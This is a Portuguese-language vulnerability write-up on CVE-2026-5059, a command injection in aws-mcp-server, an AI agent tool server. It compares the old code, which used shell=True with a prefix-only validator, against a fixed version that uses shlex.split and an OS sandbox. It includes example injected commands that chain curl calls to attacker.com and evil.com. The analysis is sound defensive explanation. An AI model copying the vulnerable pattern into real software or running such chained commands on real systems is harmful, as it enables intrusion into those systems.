
Prova de conceito para CVE-2026-5059, uma injeção de comando no aws-mcp-server via shell=True e validação incompleta, com análise de código vulnerável e corrigido.
Onde está a CVE-2026-5059 no código? A vulnerabilidade está em dois arquivos que trabalham em conjunto:
Arquivo 1: tools.py — A Causa Raiz A versão antiga usava shell=True em execute_piped_command(): python# CÓDIGO VULNERÁVEL ANTIGO process = subprocess.run( command, # ← string bruta passada para o shell shell=True, # ← ESTE é o problema ... ) Quando shell=True, o shell do SO interpreta a string completa, incluindo ;, &&, ||, crases — então qualquer coisa após ; é executada como um comando separado.
Arquivo 2: security.py — A Proteção Incompleta O validador apenas verificava se o comando começava com aws: python# CÓDIGO VULNERÁVEL ANTIGO def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← para aqui, sem verificação do que vem depois do pipe Então aws s3 ls ; curl http://attacker.com passava na validação — começa com aws — e então shell=True executava ambas as partes.
Por que a versão atual (v1.7.0) é diferente Olhando o código real hoje, ambos os problemas foram eliminados: python# CÓDIGO ATUAL em cli_executor.py cmd_parts = shlex.split(command) # divide em uma lista subprocess.run(cmd_parts, shell=False) # baseado em lista, sem interpretação do shell E security.py foi completamente removido — substituído pelo sandbox do SO (Landlock/bwrap/Seatbelt). O ; agora é inofensivo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess recebe ';' como argumento literal para aws → AWS CLI ignora, nenhum segundo comando é executado
Resumo em uma linha Versão vulnerávelVersão atual v1.7.0Execuçãoshell=True + stringshell=False + listaValidaçãostartswith("aws") apenasSandbox em nível de SO; tratamentoExecutado pelo shellTratado como texto literal A CVE foi registrada contra a versão antiga. A ZDI publicou como 0-day porque o fornecedor rejeitou o relatório — mas a arquitetura já havia abandonado o shell=True antes da CVE ser publicada.